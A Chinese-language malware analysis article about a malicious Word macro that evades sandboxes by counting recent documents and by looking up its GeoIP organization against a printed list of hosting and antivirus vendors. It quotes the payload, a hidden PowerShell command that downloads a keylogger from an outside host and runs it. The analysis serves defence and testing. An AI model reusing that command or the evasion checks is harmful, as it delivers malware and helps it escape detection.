导语:我在调查一个恶意软件,并且花了很多时间在这上面,结果发现这款恶意软件很不寻常,一丁点问题就可能导致它崩溃,根本起不了破坏作用。

最近,我在调查一个恶意软件,并且花了很多时间在这上面,结果发现这款恶意软件很不寻常,一丁点问题就可能导致它崩溃,根本起不了破坏作用。

在这篇文章中,我会探讨在一个恶意Word文档中发现的一些躲避虚拟机检测的伎俩。

这个恶意软件的名字叫做"Intelligent Software Solutions Inc.doc”,sha256哈希是048fc07fb94a74990d2d2b8e92c099f3f986af185c32d74c857b07f7fcce7f8e。相关的软件样本可以在VirusTotal搜索"vbaproject.bin""activeX1.bin" type:docx找到。

这便是这个文档在Word中打开的样子:

看起来没什么可疑的。再来看下代码:

这是一个典型的Word恶意软件。它没有实质内容,包括可执行的代码(活动内容),代码看上去一片混乱。

我首先注意到上面的这个子程序:InkPicture1_Painted(ByValDQkDFU As Long, ByVal KPhPosT As IInkRectangle)。它看起来像是一个入口点,很有可能每次点击”Enable Content"键或ActiveX control被Word渲染时代码就被执行。它会调用IuIxpP然后把引起的一切错误都给“吞掉”。

伎俩 #1

这个IuIxpP 子程序会调用两个方法:DKTxHE和qrNjY,如果其中一个返回true,就会引发一个错误。第一个DKTxHE看上去很简单:

Public Function DKTxHE() As Boolean
DKTxHE = RecentFiles.Count < 3
End Function

通过RecentFiles对象可以访问历史文档。除非是刚安装的Word,许多用户都打开过两个以上的文档。不过在虚拟机测试中,软件通常显示未被“侵入”。当创建了一个虚拟机,安装好软件(或者还打开过一两次测试其是否能用),这个状态就被保存下来,每次需要测试的时候,重新加载一下即可。

这些虚拟机镜像可被用于自动分析和测试工具中,这些工具运行恶意软件以查看它们是如何工作。如果一个恶意软件足够聪明知道自己在虚拟机中被测试的话,它就会避免做出一些可疑行为,从而延长被这些测试工具发现的时间。

伎俩 #2

第二个子程序qrNjY,则试图通过获取IP地址来查看是否是虚拟机,它向https://www.maxmind.com/geoip/v2.1/city/me 发送了一个请求,这通常会要求某种身份认证或API密钥。为了避开这个要求,恶意软件会通过将HTTP Referrer 设置为https://www.maxmind.com/en/locate-my-ip-address,User-Agent 设置为Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)来使这个请求看起来像是站点自身发出来的。不过通过这种手段只能获取所请求地址的信息,用途有限。

得到的回复是JSON格式的,包含了诸如国家、城市等信息,其中最重要的是跟这个IP地址相联系的机构信息。例如:

{
 "location": {
    "latitude":30.7858,
    "longitude":-102.1232,
   "metro_code": 705,
   "accuracy_radius": 5,
    "time_zone":"America/Los_Angeles"
  },
 "continent": {
   "names": {
     "ja": "北アメリカ",
      "pt-BR":"América do Norte",
     "de": "Nordamerika",
      "es":"Norteamérica",
      "ru": "Северная Америка",
      "fr": "Amérique du Nord",
     "zh-CN": "北美洲",
     "en": "North America"
    },
    "code":"NA",
    "geoname_id":6255149
  },
  "city": {
   "names": {
      "pt-BR":"Oakland",
      "de":"Oakland",
      "es":"Oakland",
     "ja": "オークランド",
      "en":"Oakland",
      "ru": "Окленд",
      "fr":"Oakland",
     "zh-CN": "奥克兰"
    },
    "geoname_id":5378538
  },
  "postal": {
    "code":"94619"
  },
 "country": {
   "names": {
      "ru": "США",
     "fr": "États-Unis",
     "zh-CN": "美国",
     "en": "United States",
     "ja": "アメリカ合衆国",
      "es": "EstadosUnidos",
      "pt-BR": "EstadosUnidos",
     "de": "USA"
    },
   "iso_code": "US",
    "geoname_id":6252001
  },
 "traits": {
   "organization": "Comcast Cable",
   "isp": "Comcast Cable",
   "ip_address": "123.123.123.123",
   "autonomous_system_organization": "Comcast CableCommunications, LLC",
    "domain":"comcast.net",
   "autonomous_system_number": 7922
  },
 "registered_country": {
    "geoname_id":6252001,
   "names": {
     "zh-CN": "美国",
      "ru": "США",
     "fr": "États-Unis",
     "en": "United States",
     "ja": "アメリカ合衆国",
      "pt-BR": "EstadosUnidos",
     "de": "USA",
      "es": "EstadosUnidos"
    },
   "iso_code": "US"
  },
 "subdivisions": [
    {
      "geoname_id":5332921,
     "names": {
       "ru": "Калифорния",
        "fr":"Californie",
       "zh-CN": "加利福尼亚州",
        "en":"California",
       "ja": "カリフォルニア州",
       "pt-BR": "Califórnia",
        "es":"California",
       "de": "Kalifornien"
      },
     "iso_code": "CA"
    }
  ]
}

从上面的示例回复中,可以得知这个IP地址跟Comcast关联。同时,在请求发出后,一些字符串被解码并存储在阵列中,如果返回的JSON中含有任何这些字符串,代码就会报告错误并停止执行。在比对之前所有内容都被转为大写字母。字符串被转写位大写,在阵列中按字母顺序排列:

Amazon
anonymous
BitDefender
BlackOakComputers
Blue Coat
BlueCoat
Cisco
cloud
Data Center
DataCenter
DataCentre
dedicated
ESET, Spol
FireEye
ForcePoint
Fortinet
Hetzner
hispeed.ch
hosted
Hosting
Iron Port
IronPort
LeaseWeb
MessageLabs
Microsoft
MimeCast
NForce
Ovh Sas
Palo Alto
ProofPoint
Rackspace
security
Server
Strong Technologies
Trend Micro
TrendMicro
TrustWave
VMVault
Zscaler

在创建了这个列表之后,很明显,这个子程序的目的是检查这些IP地址是否跟一些托管和反病毒公司关联,那些公司经常会使用虚拟机来测试恶意软件。

在把这两个反沙盒和反虚拟机的子程序拆开分析后,我大概知道为什么有时我们检测不到这个恶意插件了。为了验证我的猜想,我创建了一个新Word文档,复制两份,然后给三个文档分别命名了不同的名字。然后,我打开了其中一个并关闭,以制造出历史文档记录。接着,我打开恶意软件,启动活动内容,果不其然立马就弹出“检测到威胁”,恶意文档差不多是立刻终止,根本就没机会搞“破坏”。因为它实际上也没做什么破坏,所以也检测不到。

由于仍然好奇其有效载荷(payload),我继续拆解该软件,然后发现它能执行一些PowerShell命令:

powershell.exe -ExecutionPolicy Bypass-WindowStyle Hidden -command $f=[System.IO.Path]::GetTempFileName();(New-ObjectSystem.Net.WebClient).DownloadFile('http://silkflowersdecordesign.com/admin/worddata.dat',$f);(New-Object -com WScript.Shell).Exec($f)

这个脚本下载了http://silkflowersdecordesign.com/admin/worddata.dat,这是一个低级别的击键记录器,其中worddata.dat 的 sha256 哈希是

19d884d3b688abf8e284d3bc6a06817096d15592bcd73f85a0e4b79749f2a744.

研究人员在Proofpoint,Deepen Desai在zscaler上都曾探讨了躲避虚拟机/躲避沙盒技术。这些方法在不同恶意软件家族中都出现过,看起来这似乎是基于VBA的恶意软件的新发展趋势。

测试恶意软件不容易,很多地方都会出错,特别是当你不是仅仅基于signatures而是检测恶意行为时,为了能正确评估一个AV产品,必须像这样测试——运行这些恶意代码,观察其最真实的行为。不过你得挑那些还“活着”的,也就是说其命令和控制的服务器还存在而且运行良好,此外你还要将虚拟机设置得尽可能地贴近真实用户的情况。

这两点都可以实现。但测试经常会遇到:恶意软件不能有效执行或者没有作出恶意行为;新创建的虚拟机镜像根本没有用户活动记录;或是在云端运行测试,而这又很容易通过询问IP地址信息被恶意软件觉察。挑选合适的测试对象并创建合适的虚拟镜像需要下一些工夫。

如果在这上边偷懒,测试结果就会偏离,而且也没有意义。Signatures可以很轻松地检测到不能运行或者没有恶意行为的可执行文档,但问题是,这些是你的用户面临的威胁吗?真正的威胁是那些没人见过的,或者非常新以至于signatures还没被制造出来。一次好的测试必须使用目前仍然运行良好的恶意软件样本,并在最逼真的环境中执行。

源链接

Hacking more

...